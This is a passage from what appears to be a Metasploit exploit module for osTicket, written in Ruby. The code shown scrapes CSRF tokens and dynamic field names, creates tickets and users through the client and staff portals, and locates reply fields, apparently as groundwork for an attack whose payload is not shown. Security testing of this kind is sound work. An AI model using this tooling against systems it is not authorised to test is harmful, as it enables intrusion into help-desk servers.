nil1020doc.search('input[@type="text"]').each do |input|1021name = input['name'].to_s1022if name.match?(/\A[a-f0-9]{10,}\z/)1023subject_field = name1024break1025end1026end10271028message_field = nil1029doc.search('textarea').each do |ta|1030name = ta['name'].to_s1031if name.match?(/\A[a-f0-9]{10,}\z/)1032message_field = name1033break1034end1035end10361037vprint_status("fetch_topic_form_fields: subject=#{subject_field.inspect}, message=#{message_field.inspect}")1038[subject_field, message_field]1039end10401041# Fetches the visible ticket number (e.g. 284220 from #284220) from a client ticket page.1042#1043# @param base_uri [String] base path to osTicket1044# @param ticket_id [String] internal ticket ID1045# @param cookies [String] session cookies1046# @return [String, nil] ticket number or nil1047def fetch_ticket_number(base_uri, ticket_id, cookies)1048tickets_uri = normalize_uri(base_uri, 'tickets.php')1049vprint_status("fetch_ticket_number: GET #{tickets_uri}?id=#{ticket_id}")1050res = send_request_cgi(1051'method' => 'GET',1052'uri' => tickets_uri,1053'cookie' => cookies,1054'vars_get' => { 'id' => ticket_id }1055)1056unless res&.code == 2001057vprint_warning("fetch_ticket_number: Could not load ticket page (code=#{res&.code})")1058return nil1059end10601061match = res.body.match(%r{<small>#(\d+)</small>})1062if match1063vprint_good("fetch_ticket_number: Ticket number=##{match[1]}")1064return match[1]1065end10661067vprint_warning('fetch_ticket_number: Could not parse ticket number from page')1068nil1069end10701071# Creates a new ticket via the client portal (open.php).1072# Returns the internal ticket ID and visible ticket number on success.1073#1074# @param base_uri [String] base path to osTicket1075# @param cookies [String] session cookies (client portal)1076# @param subject [String] ticket subject line1077# @param message [String] ticket message body1078# @return [Array] [ticket_id, ticket_number] or [nil, nil] on failure1079def create_ticket(base_uri, cookies, subject, message)1080open_uri = normalize_uri(base_uri, 'open.php')1081vprint_status("create_ticket: GET #{open_uri}")10821083res = send_request_cgi('method' => 'GET', 'uri' => open_uri, 'cookie' => cookies)1084unless res&.code == 2001085vprint_error("create_ticket: GET open.php failed (code=#{res&.code})")1086return [nil, nil]1087end10881089csrf = extract_csrf_token(res.body)1090# Fallback: meta csrf_token tag used on some osTicket builds1091csrf ||= res.body.match(/<meta\s+name="csrf_token"\s+content="([^"]+)"/i)&.[](1)1092unless csrf1093vprint_error('create_ticket: No CSRF token found on open.php')1094return [nil, nil]1095end10961097# Grab updated session cookies from the open.php response before any AJAX call1098session_cookies = res.get_cookies1099session_cookies = cookies if session_cookies.empty?11001101# Static HTML only has the topicId select; subject/message fields are1102# injected via ajax.php/form/help-topic/{id} when a topic is chosen.1103topic_id = detect_open_form_fields(res.body)1104subject_field, message_field = fetch_topic_form_fields(base_uri, topic_id, session_cookies)1105unless subject_field && message_field1106vprint_error('create_ticket: Could not detect form field names from topic AJAX response')1107return [nil, nil]1108end11091110vprint_status("create_ticket: POST #{open_uri} (topicId=#{topic_id})")1111res = send_request_cgi(1112'method' => 'POST',1113'uri' => open_uri,1114'cookie' => session_cookies,1115'vars_post' => {1116'__CSRFToken__' => csrf,1117'a' => 'open',1118'topicId' => topic_id,1119subject_field => subject,1120message_field => message,1121'draft_id' => ''1122}1123)1124unless res1125vprint_error('create_ticket: No response from POST open.php (nil)')1126return [nil, nil]1127end1128vprint_status("create_ticket: POST response code=#{res.code}")11291130new_cookies = res.get_cookies1131new_cookies = session_cookies if new_cookies.empty?11321133if res.code == 3021134location = res.headers['Location'].to_s1135ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)1136unless ticket_id1137vprint_error("create_ticket: Cannot parse ticket ID from Location header: #{location}")1138return [nil, nil]1139end1140vprint_good("create_ticket: Ticket created, internal ID=#{ticket_id}")1141ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)1142return [ticket_id, ticket_number]1143end11441145# Some installs return 200 with success notice and a link in the body1146if res.code == 200 && res.body.include?('ticket request created')1147id_match = res.body.match(/tickets\.php\?id=(\d+)/)1148if id_match1149ticket_id = id_match[1]1150ticket_number = fetch_ticket_number(base_uri, ticket_id, new_cookies)1151return [ticket_id, ticket_number]1152end1153end11541155vprint_error("create_ticket: Unexpected response (code=#{res.code})")1156[nil, nil]1157end11581159# -------------------------------------------------------------------------1160# SCP portal - ticket creation helpers1161# -------------------------------------------------------------------------11621163# Fetches static form fields from the SCP new-ticket page.1164#1165# GET {prefix}/tickets.php?a=open - extracts CSRF token and the first1166# non-empty option values for topicId, deptId, and slaId selects.1167#1168# @param base_uri [String] base path to osTicket1169# @param prefix [String] portal prefix ('/scp')1170# @param cookies [String] session cookies1171# @return [Hash, nil] {csrf:, topic_id:, dept_id:, sla_id:, session_cookies:} or nil1172def fetch_open_form_fields_scp(base_uri, prefix, cookies)1173open_uri = normalize_uri(base_uri, prefix, 'tickets.php')1174vprint_status("fetch_open_form_fields_scp: GET #{open_uri}?a=open")11751176res = send_request_cgi(1177'method' => 'GET',1178'uri' => open_uri,1179'cookie' => cookies,1180'vars_get' => { 'a' => 'open' }1181)1182unless res&.code == 2001183vprint_error("fetch_open_form_fields_scp: failed (code=#{res&.code})")1184return nil1185end11861187doc = Nokogiri::HTML(res.body)11881189csrf = doc.at('input[@name="__CSRFToken__"]')&.[]('value') ||1190doc.at('meta[@name="csrf_token"]')&.[]('content')1191unless csrf1192vprint_error('fetch_open_form_fields_scp: No CSRF token found')1193return nil1194end11951196first_option = lambda { |name|1197doc.at("select[@name=\"#{name}\"]")1198&.search('option')1199&.find { |o| !o['value'].to_s.strip.empty? }1200&.[]('value')1201}12021203topic_id = first_option.call('topicId') || '1'1204dept_id = first_option.call('deptId') || '0'1205sla_id = first_option.call('slaId') || '0'12061207vprint_status("fetch_open_form_fields_scp: csrf=#{csrf[0, 8]}... topicId=#{topic_id} deptId=#{dept_id} slaId=#{sla_id}")1208{1209csrf: csrf,1210topic_id: topic_id,1211dept_id: dept_id,1212sla_id: sla_id,1213session_cookies: res.get_cookies.empty? ? cookies : res.get_cookies1214}1215end12161217# Fetches dynamic subject/message field names for the SCP ticket form.1218#1219# Identical logic to fetch_topic_form_fields but sets the Referer to the1220# SCP new-ticket page (tickets.php?a=open) instead of open.php, which is1221# required to pass osTicket's AJAX Referer validation.1222#1223# @param base_uri [String] base path to osTicket1224# @param prefix [String] portal prefix ('/scp')1225# @param topic_id [String] help topic ID1226# @param cookies [String] session cookies1227# @return [Array] [subject_field_name, message_field_name] or [nil, nil]1228def fetch_topic_form_fields_scp(base_uri, prefix, topic_id, cookies)1229ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'form', 'help-topic', topic_id.to_s)1230vprint_status("fetch_topic_form_fields_scp: GET #{ajax_uri}")12311232proto = datastore['SSL'] ? 'https' : 'http'1233referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"12341235res = send_request_cgi(1236'method' => 'GET',1237'uri' => ajax_uri,1238'cookie' => cookies,1239'headers' => {1240'X-Requested-With' => 'XMLHttpRequest',1241'Referer' => referer1242}1243)1244unless res&.code == 2001245vprint_error("fetch_topic_form_fields_scp: AJAX failed (code=#{res&.code})")1246return [nil, nil]1247end12481249begin1250data = JSON.parse(res.body)1251rescue JSON::ParserError => e1252vprint_error("fetch_topic_form_fields_scp: JSON parse error: #{e}")1253return [nil, nil]1254end12551256form_html = data['html'].to_s1257if form_html.empty?1258vprint_error('fetch_topic_form_fields_scp: Empty html in AJAX response')1259return [nil, nil]1260end12611262doc = Nokogiri::HTML(form_html)12631264subject_field = doc.search('input[@type="text"]')1265.map { |i| i['name'].to_s }1266.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }12671268message_field = doc.search('textarea')1269.map { |t| t['name'].to_s }1270.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }12711272vprint_status("fetch_topic_form_fields_scp: subject=#{subject_field.inspect} message=#{message_field.inspect}")1273[subject_field, message_field]1274end12751276# Looks up an existing SCP user by email via the staff typeahead endpoint.1277#1278# @param base_uri [String] base path to osTicket1279# @param prefix [String] portal prefix ('/scp')1280# @param cookies [String] session cookies1281# @param email [String] email address to search1282# @return [String, nil] internal user ID or nil if not found1283def lookup_user_id_scp(base_uri, prefix, cookies, email)1284ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'local')1285vprint_status("lookup_user_id_scp: GET #{ajax_uri}?q=#{email}")12861287proto = datastore['SSL'] ? 'https' : 'http'1288referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"12891290res = send_request_cgi(1291'method' => 'GET',1292'uri' => ajax_uri,1293'cookie' => cookies,1294'vars_get' => { 'q' => email },1295'headers' => {1296'X-Requested-With' => 'XMLHttpRequest',1297'Referer' => referer1298}1299)1300unless res&.code == 2001301vprint_error("lookup_user_id_scp: request failed (code=#{res&.code})")1302return nil1303end13041305begin1306users = JSON.parse(res.body)1307rescue JSON::ParserError => e1308vprint_error("lookup_user_id_scp: JSON parse error: #{e}")1309return nil1310end13111312return nil unless users.is_a?(Array) && !users.empty?13131314user_id = users.first['id'].to_s1315vprint_good("lookup_user_id_scp: found user id=#{user_id}")1316user_id1317end13181319# Fetches the dynamic field names from the SCP user creation form.1320#1321# GET {prefix}/ajax.php/users/lookup/form returns an HTML fragment with1322# hex-hash field names for email (type="email") and full name (type="text").1323#1324# @param base_uri [String] base path to osTicket1325# @param prefix [String] portal prefix ('/scp')1326# @param cookies [String] session cookies1327# @return [Array] [email_field_name, fullname_field_name] or [nil, nil]1328def fetch_user_form_fields_scp(base_uri, prefix, cookies)1329ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')1330vprint_status("fetch_user_form_fields_scp: GET #{ajax_uri}")13311332proto = datastore['SSL'] ? 'https' : 'http'1333referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"13341335res = send_request_cgi(1336'method' => 'GET',1337'uri' => ajax_uri,1338'cookie' => cookies,1339'headers' => {1340'X-Requested-With' => 'XMLHttpRequest',1341'Referer' => referer1342}1343)1344unless res&.code == 2001345vprint_error("fetch_user_form_fields_scp: failed (code=#{res&.code})")1346return [nil, nil]1347end13481349doc = Nokogiri::HTML(res.body)13501351email_field = doc.search('input[@type="email"]')1352.map { |i| i['name'].to_s }1353.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }13541355name_field = doc.search('input[@type="text"]')1356.map { |i| i['name'].to_s }1357.find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }13581359vprint_status("fetch_user_form_fields_scp: email_field=#{email_field.inspect} name_field=#{name_field.inspect}")1360[email_field, name_field]1361end13621363# Ensures a ticket owner user exists in osTicket via the SCP portal.1364#1365# Looks up the user by email first. If not found, fetches the user creation1366# form field names and POSTs to create the user, then looks up again to1367# retrieve the internal ID.1368#1369# NOTE: The email and fullname values come from SCP_TICKET_EMAIL /1370# SCP_TICKET_NAME datastore options - they are NOT the attacker's login1371# credentials and are only used here to assign ownership of the created1372# ticket.1373#1374# @param base_uri [String] base path to osTicket1375# @param prefix [String] portal prefix ('/scp')1376# @param cookies [String] session cookies1377# @param csrf [String] CSRF token from the SCP ticket form1378# @param email [String] ticket owner email (SCP_TICKET_EMAIL)1379# @param fullname [String] ticket owner full name (SCP_TICKET_NAME)1380# @return [String, nil] internal user ID or nil on failure1381def ensure_user_scp(base_uri, prefix, cookies, csrf, email, fullname)1382user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)1383return user_id if user_id13841385vprint_status("ensure_user_scp: user not found, attempting to create (#{email})")13861387email_field, name_field = fetch_user_form_fields_scp(base_uri, prefix, cookies)1388unless email_field && name_field1389vprint_error('ensure_user_scp: Could not extract user form field names')1390return nil1391end13921393ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')1394proto = datastore['SSL'] ? 'https' : 'http'1395referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"13961397send_request_cgi(1398'method' => 'POST',1399'uri' => ajax_uri,1400'cookie' => cookies,1401'vars_post' => {1402email_field => email,1403name_field => fullname,1404'undefined' => 'Add User'1405},1406'headers' => {1407'X-Requested-With' => 'XMLHttpRequest',1408'X-CSRFToken' => csrf,1409'Referer' => referer1410}1411)14121413user_id = lookup_user_id_scp(base_uri, prefix, cookies, email)1414vprint_status("ensure_user_scp: post-create lookup id=#{user_id.inspect}")1415user_id1416end14171418# Fetches the visible ticket number from the SCP ticket page.1419#1420# The SCP portal renders the ticket number as <title>Ticket #NNNNNN</title>,1421# unlike the client portal which uses <small>#NNNNNN</small>.1422#1423# @param base_uri [String] base path to osTicket1424# @param prefix [String] portal prefix ('/scp')1425# @param ticket_id [String] internal ticket ID1426# @param cookies [String] session cookies1427# @return [String, nil] ticket number or nil1428def fetch_ticket_number_scp(base_uri, prefix, ticket_id, cookies)1429tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')1430vprint_status("fetch_ticket_number_scp: GET #{tickets_uri}?id=#{ticket_id}")14311432res = send_request_cgi(1433'method' => 'GET',1434'uri' => tickets_uri,1435'cookie' => cookies,1436'vars_get' => { 'id' => ticket_id }1437)1438unless res&.code == 2001439vprint_warning("fetch_ticket_number_scp: Could not load ticket page (code=#{res&.code})")1440return nil1441end14421443match = res.body.match(%r{<title>Ticket #(\d+)</title>}i)1444if match1445vprint_good("fetch_ticket_number_scp: Ticket number=##{match[1]}")1446return match[1]1447end14481449vprint_warning('fetch_ticket_number_scp: Could not parse ticket number from page')1450nil1451end14521453# Creates a new ticket via the SCP (staff) portal.1454#1455# The ticket is owned by the user identified by SCP_TICKET_EMAIL /1456# SCP_TICKET_NAME options, which default to [email protected] / MSF User.1457# These options are ONLY consulted when ticket creation is triggered1458# through a valid SCP portal login.1459#1460# Flow:1461# 1. fetch_open_form_fields_scp - CSRF, topicId, deptId, slaId1462# 2. fetch_topic_form_fields_scp - subject/message hex-hash field names1463# 3. ensure_user_scp - lookup or create ticket owner, get user_id1464# 4. POST tickets.php?a=open - create ticket, follow 302 for ticket_id1465# 5. fetch_ticket_number_scp - resolve visible ticket number1466#1467# @param base_uri [String] base path to osTicket1468# @param prefix [String] portal prefix ('/scp')1469# @param cookies [String] session cookies1470# @param subject [String] ticket subject1471# @param message [String] ticket message body1472# @return [Array] [ticket_id, ticket_number] or [nil, nil] on failure1473def create_ticket_scp(base_uri, prefix, cookies, subject, message)1474fields = fetch_open_form_fields_scp(base_uri, prefix, cookies)1475return [nil, nil] unless fields14761477session_cookies = fields[:session_cookies]14781479subject_field, message_field = fetch_topic_form_fields_scp(1480base_uri, prefix, fields[:topic_id], session_cookies1481)1482unless subject_field && message_field1483vprint_error('create_ticket_scp: Could not detect subject/message field names')1484return [nil, nil]1485end14861487ticket_email = datastore['SCP_TICKET_EMAIL'].to_s1488ticket_fullname = datastore['SCP_TICKET_NAME'].to_s14891490user_id = ensure_user_scp(1491base_uri, prefix, session_cookies, fields[:csrf],1492ticket_email, ticket_fullname1493)1494unless user_id1495vprint_error('create_ticket_scp: Could not resolve ticket owner user ID')1496return [nil, nil]1497end14981499open_uri = normalize_uri(base_uri, prefix, 'tickets.php')1500vprint_status("create_ticket_scp: POST #{open_uri}?a=open (user_id=#{user_id})")15011502res = send_request_cgi(1503'method' => 'POST',1504'uri' => open_uri,1505'cookie' => session_cookies,1506'vars_post' => {1507'__CSRFToken__' => fields[:csrf],1508'do' => 'create',1509'a' => 'open',1510'email' => ticket_email,1511'name' => user_id,1512'reply-to' => 'all',1513'source' => 'Web',1514'topicId' => fields[:topic_id],1515'deptId' => fields[:dept_id],1516'slaId' => fields[:sla_id],1517'duedate' => '',1518'assignId' => '0',1519subject_field => subject,1520message_field => message,1521'cannedResp' => '0',1522'append' => '1',1523'response' => '',1524'statusId' => '1',1525'signature' => 'none',1526'note' => '',1527'draft_id' => ''1528}1529)1530unless res1531vprint_error('create_ticket_scp: No response from POST (nil)')1532return [nil, nil]1533end1534vprint_status("create_ticket_scp: POST response code=#{res.code}")15351536unless res.code == 3021537vprint_error("create_ticket_scp: Expected 302 redirect, got #{res.code}")1538return [nil, nil]1539end15401541location = res.headers['Location'].to_s1542ticket_id = location.match(/tickets\.php\?id=(\d+)/i)&.[](1)1543unless ticket_id1544vprint_error("create_ticket_scp: Cannot parse ticket ID from Location: #{location}")1545return [nil, nil]1546end15471548new_cookies = res.get_cookies.empty? ? session_cookies : res.get_cookies1549vprint_good("create_ticket_scp: Ticket created, internal ID=#{ticket_id}")15501551ticket_number = fetch_ticket_number_scp(base_uri, prefix, ticket_id, new_cookies)1552[ticket_id, ticket_number]1553end15541555# Detects the reply textarea field name from the ticket page HTML.1556#1557# Uses Nokogiri DOM parsing for reliable attribute extraction.1558# osTicket sets id="response" (SCP) or id="message" (client) on the reply1559# textarea and gives it a dynamic hex-hash name attribute.1560#1561# @param html [String] ticket page HTML1562# @param prefix [String] portal prefix ('/scp' or '')1563# @return [String] textarea field name1564def detect_reply_textarea(html, prefix)1565doc = Nokogiri::HTML(html)15661567# Try the well-known ids first1568ta = doc.at('textarea[@id="response"]') || doc.at('textarea[@id="message"]')1569return ta['name'] if ta && !ta['name'].to_s.empty?15701571# Fallback: any textarea with a hex-hash name (osTicket dynamic field naming)1572doc.search('textarea').each do |t|1573name = t['name'].to_s1574return name if name.match?(/\A[a-f0-9]{10,}\z/)1575end15761577prefix == '/scp' ? 'response' : 'message'1578end1579end1580end158115821583